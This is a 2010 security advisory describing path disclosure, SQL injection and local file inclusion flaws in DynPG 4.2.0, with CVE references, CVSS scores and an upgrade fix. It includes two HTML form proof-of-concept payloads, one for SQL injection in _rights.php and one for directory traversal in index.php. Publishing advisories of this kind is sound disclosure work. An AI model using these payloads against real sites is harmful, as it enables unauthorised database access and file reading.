In light of COVID-19 precaution measures, we remind that all ImmuniWeb products can be easily configured and safely paid online without any human contact or paperwork.

Total Tests:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

Multiple Vulnerabilities in DynPG

Advisory ID:HTB22701
Vulnerable Versions:4.2.0 and probably prior
Tested Version:4.2.0
Advisory Publication:November 16, 2010 [without technical details]
Vendor Notification:November 16, 2010
Public Disclosure:November 30, 2010
Latest Update:November 17, 2010
Vulnerability Type:Information Exposure Through Externally-generated Error Message [CWE-211]
SQL Injection [CWE-89]
PHP File Inclusion [CWE-98]
CVE References:CVE-2010-4401
Risk Level:High
CVSSv2 Base Scores:5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DynPG which could be exploited to perform SQL injection attacks, disclose potentially sensitive information and compromise vulnerable system.

1) Installation path disclosure weakness in in DynPG: CVE-2010-4401
The weakness was found in the script. A remote attacker can obtain knowledge of the application`s installation folder by directly accessing the vulnerable script.
Exploitation example:

2) SQL injection vulnerabilities in DynPG: CVE-2010-4400
The vulnerability exists due to input sanitation errors in the "giveRights_UserId" parameter in _rights.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://[host]/_rights.php" method="post" name="main" >
<input type="hidden" name="saveRights" value="1" />
<input type="hidden" name="giveRights_giveright" value="1" />
<input type="hidden" name="giveRights_UserId" value="123'SQL_CODE_HERE" />
<input type="submit" value="submit" name="submit" />

3) Local file inclusion vulnerability in DynPG: CVE-2010-4399
Input passed to the "CHG_DYNPG_SET_LANGUAGE" variable in index.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences.
Exploitation example:
<form action="http://[host]/index.php" method="post" name="main" >
<input type="hidden" name="SYSTEM_NAME" value="[admin_login]" />
<input type="hidden" name="SYSTEM_PASSWORD" value="[admin_password]" />
<input type="hidden" name="SET_LANGUAGE" value="1" />
<input type="hidden" name="CHG_DYNPG_SET_LANGUAGE" value="../../../../../" />
<input type="submit" value="submit" name="submit" />

How to Detect Information Exposure Through Externally-generated Error Message Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Upgrade to version 4.2.1.

[1] High-Tech Bridge Advisory HTB22701 - - Multiple Vulnerabilities in DynPG
[2] DynPG - - DynPG stands for dynamic web pages and is a free content management system (CMS). It is written in PHP and uses MySQL as database management system.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question